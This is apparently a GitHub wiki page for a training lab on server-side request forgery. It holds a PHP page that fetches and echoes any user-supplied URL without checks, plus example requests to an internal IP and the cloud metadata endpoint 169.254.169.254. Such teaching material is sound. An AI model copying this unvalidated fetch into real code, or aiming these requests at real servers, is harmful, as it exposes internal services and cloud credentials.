SSRF 01 - yujitounai/helloworld GitHub Wiki
<?php
if (isset($_GET['url'])){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$html = curl_exec($ch);
echo "<xmp>";
echo $html;
echo "</xmp>";
}
?>
<div class="box">
<form method="get" action="">Please enter image url
<input name="url" type="text">
<input type="submit">
</form>
</div>
ssrf-01.php?url=http://192.168.5.1/
ssrf-01.php?url=http://169.254.169.254/latest/meta-data/hostname